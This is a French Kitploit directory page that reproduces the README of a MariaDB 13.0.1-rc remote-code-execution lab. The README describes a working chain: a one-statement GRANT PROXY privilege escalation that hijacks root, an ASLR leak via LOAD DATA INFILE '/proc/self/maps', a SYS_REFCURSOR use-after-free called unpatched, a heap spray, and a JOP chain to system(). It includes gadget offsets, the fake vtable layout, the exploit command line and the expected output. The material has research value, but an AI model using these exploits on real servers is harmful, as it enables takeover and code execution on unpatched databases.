Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
mariadb-13-rce-lab — Laboratoire RCE MariaDB 13.0.1-rc — élévation de privilèges + UAF sur le tas + chaîne JOP vers system() en tant que uid 999(mysql) sur image Docker standard. Découvert avec RAPTOR et raptor-loop-hunt. | Kitploit
Outils/GitHubGitHub/dinosn/mariadb-13-rce-lab
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionDéveloppement de Charges UtilesSécurité des Bases de DonnéesExploitation de BinairesLabs et Pratique
GitHubdinosn/mariadb-13-rce-lab

mariadb-13-rce-lab

Laboratoire RCE MariaDB 13.0.1-rc — élévation de privilèges + UAF sur le tas + chaîne JOP vers system() en tant que uid 999(mysql) sur image Docker standard. Découvert avec RAPTOR et raptor-loop-hunt.

336il y a 17 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

Laboratoire RCE MariaDB 13.0.1-rc

Exécution de code à distance sur l'image Docker standard, non modifiée, de MariaDB 13.0.1-rc en tant qu'uid 999 (mysql).

Deux variantes d'exploit :

VarianteFichierPrérequisRemarques
SQL pur (recommandé)exploit_pure_sql.pyun compte MariaDB à privilèges réduits + TCPaucun accès à l'hôte, pas de docker, pas de /proc/mem, pas de mot de passe root
PoC assisté par l'hôteexploit.pyroot sur l'hôte Dockerécrit la chaîne JOP via /proc/<pid>/mem

Testé et prouvé sur : mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4 exécutions, chacune avec des bases ASLR fraîches).

Modèle d'attaque SQL pur (exploit_pure_sql.py)

L'attaquant ne dispose que de :

  • un compte MariaDB avec uniquement le privilège USAGE (l'utilisateur lowpriv du compose) + son mot de passe, et
  • une accessibilité TCP au port 3306.

Toute la chaîne est exécutée sous forme d'instructions SQL ; aucun accès aux processus côté hôte, aucune commande docker, aucune adresse connue. Chaque adresse d'exécution est obtenue depuis la cible elle-même via SQL :

root@kitploit:~
1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> any user becomes full DBA (root account hijacked, empty password).
            One statement, no privileges required.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> server-side file read (FILE priv, secure_file_priv unset on stock)
            leaks PIE base and libc base = real ASLR defeat. The bases change
            on every run and are read from the live process.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (128 MiB user variable)
         -> glibc dedicates a mmap region (0x8001000, data at +0x30).
            Its address is discovered by diffing /proc/self/maps before/after
            the allocation - from SQL. No /proc/<pid>/mem involved.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
         -> the complete JOP chain (D2, D1, system(), command string) is
            written by SQL at allocation time. The self-referential pointer
            [V+0xa8] = V+0x140 is baked in using the address found in step 3;
            glibc reuses the exact same mmap slot when the buffer is
            reallocated, so the address stays stable (verified each iteration,
            re-baked if ever moved).

5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
         -> the freed 1792-byte cursor array is reclaimed with a 1784-byte
            blob carrying V at offset 0x20; virtual dispatch
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            executes the command as uid 999(mysql).

6. Proof: the command writes a marker; server crashes right after system()
   returns (mariadbd is PID 1 -> container exits). Restart the container and
   read the marker.

Les seules opérations non-SQL restantes sont de la maintenance post-exploitation : redémarrer le conteneur (déjà planté) et afficher le fichier marqueur - elles ne font pas partie de l'exploitation.

Remplacement des anciens assistants côté hôte

Utilisation (SQL pur)

root@kitploit:~
# start the lab
docker compose up -d

# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

Nécessite uniquement un client mariadb/mysql et Python 3. --container est utilisé pour l'affichage final du marqueur (redémarrage + cat) et peut être supprimé si le marqueur est vérifié d'une autre manière.

Fin de sortie attendue :

root@kitploit:~
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

Chaîne de vulnérabilité (les deux variantes)

1. F-09 — Élévation de privilèges (tout utilisateur → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' contourne tous les contrôles de privilèges. La clause d'authentification vide fait que LEX_USER::has_auth() renvoie false (en sautant check_alter_user()), tandis que replace_user_table() applique toujours le mot de passe vide — remplaçant ainsi les identifiants de root. Une seule instruction SQL, n'importe quel utilisateur authentifié, toutes les versions publiées de MariaDB.

2. Contournement de l'ASLR via /proc/self/maps

LOAD DATA INFILE '/proc/self/maps' lit l'intégralité de la disposition mémoire du processus mariadbd depuis SQL, révélant les adresses de base PIE et de base libc. Fonctionne avec secure_file_priv = NULL (non défini) sur l'image standard.

3. F-05 — use-after-free SYS_REFCURSOR (0day, non corrigé en amont)

sp_cursor_array::get_cursor_by_ref() renvoie un pointeur intérieur vers un Dynamic_array dont le stockage sous-jacent est déplacé par my_realloc lors de la croissance. Lorsque la méthode open() d'un curseur exécute du SQL contrôlé par l'attaquant qui ouvre des curseurs supplémentaires, le tableau grandit, l'ancien stockage est libéré et le pointeur mis en cache par l'appelant devient pendant.

Le bloc libéré (16 curseurs x 112 octets = 1792 octets) est récupéré par un heap spray de 128 copies de variables utilisateur de 1784 octets chacune (ajustement exact pour le bloc glibc). La charge utile du spray place un pointeur de vtable contrôlé à l'offset 0x20 (le membre result de sp_cursor), qui est ensuite utilisé pour le dispatch virtuel :

root@kitploit:~
Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = attacker's vtable pointer (V)
  -> call [rax + 0x20]       ;  calls D2 gadget (prepare() vtable slot)

4. Chaîne JOP → system()

Deux gadgets JOP du binaire mariadbd standard (pas de ROP, pas de pivot de pile) :

GadgetOffsetInstructionObjectif
D2PIE+0x80da77call *0x100(%rax)Correction d'alignement de la pile
D1PIE+0xe3075b

La fausse vtable V se trouve dans le tampon de 128 Mio ; disposition :

root@kitploit:~
V+0x20  = D2          (prepare() vtable slot)
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (pointer to command string -> rdi)
V+0x100 = D1          (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"

5. L'astuce de découverte d'adresse en SQL pur (nouveau)

Le problème de l'œuf et de la poule consistant à écrire des données JOP auto-référentielles avant de connaître l'adresse du tampon est résolu par le comportement mmap de glibc :

  1. allouer un tampon marqueur de 128 Mio → région mmap dédiée (0x8001000, données à region+0x30) → adresse trouvée via le diff de /proc/self/maps
  2. réallouer le tampon avec la disposition complète (auto-référence = V+0x140) → glibc munmaps l'ancien bloc et réutilise le même emplacement → adresse stable
  3. chaque étape est vérifiée en relisant /proc/self/maps ; si l'adresse venait à bouger, l'auto-référence est réécrite et l'écriture est réessayée (converge en une itération en pratique)

Variante assistée par l'hôte (exploit.py)

Même chaîne, mais la disposition JOP est écrite dans le processus via /proc/<pid>/mem depuis l'hôte Docker (root requis), le script de la charge utile est créé via docker exec, et il se connecte avec le mot de passe root du fichier compose. Conservée comme PoC historique ; la variante SQL pur la remplace.

Remarques

  • Le UAF SYS_REFCURSOR F-05 n'est pas corrigé en amont à la date du 2026-08-03 (zéro commit sur sql/sp_cursor.{cc,h} entre le tag 13.0.1 et HEAD).
  • Le correctif d'élévation de privilèges F-09 (dbd60d0ad8d, MDEV-40470) se trouve sur les branches de développement mais est absent de toutes les versions publiées (vérifié de 13.0.1 à 10.6.27).
  • 128 Mio a été choisi car le seuil mmap dynamique de glibc peut dépasser 4 Mio après de grandes libérations ; 128 Mio obtient de manière fiable une région mmap dédiée (vérifié avec 128 et 256 Mio ; une taille supérieure à max_allowed_packet échoue, donc SET GLOBAL max_allowed_packet est d'abord augmenté et une nouvelle connexion est utilisée).
  • L'offset des données dans la région mmap est +0x30 sur cette image/glibc (vérifié sur plusieurs exécutions ; mettez à jour DATA_OFF s'il diffère un jour).

Découvert avec

  • RAPTOR — Framework autonome de recherche offensive/défensive
  • raptor-loop-hunt — plugin itératif de chasse aux vulnérabilités
Télécharger l’outil
Ancien assistant (exploit.py)Remplacement en SQL pur
docker inspect → PID + /proc/<pid>/maps côté hôteLOAD DATA INFILE '/proc/self/maps'
écritures /proc/<pid>/mem côté hôte pour la chaîne JOPlayout intégré via CONCAT/UNHEX à l'allocation ; adresse issue du diff des maps côté SQL ; la réutilisation de l'emplacement mmap maintient la référence auto valide
docker exec ... echo CMD > /tmp/payload_cmd.shchaîne de commande intégrée directement dans la disposition JOP
mariadb -uroot -plabpass (mot de passe root)élévation GRANT PROXY depuis le compte à privilèges réduits
docker exec ... cat MARKERuniquement utilisé pour afficher la preuve
mov rdi,[rax+0xa8]; call [rax+0xa0]
Charge le pointeur cmd, appelle system()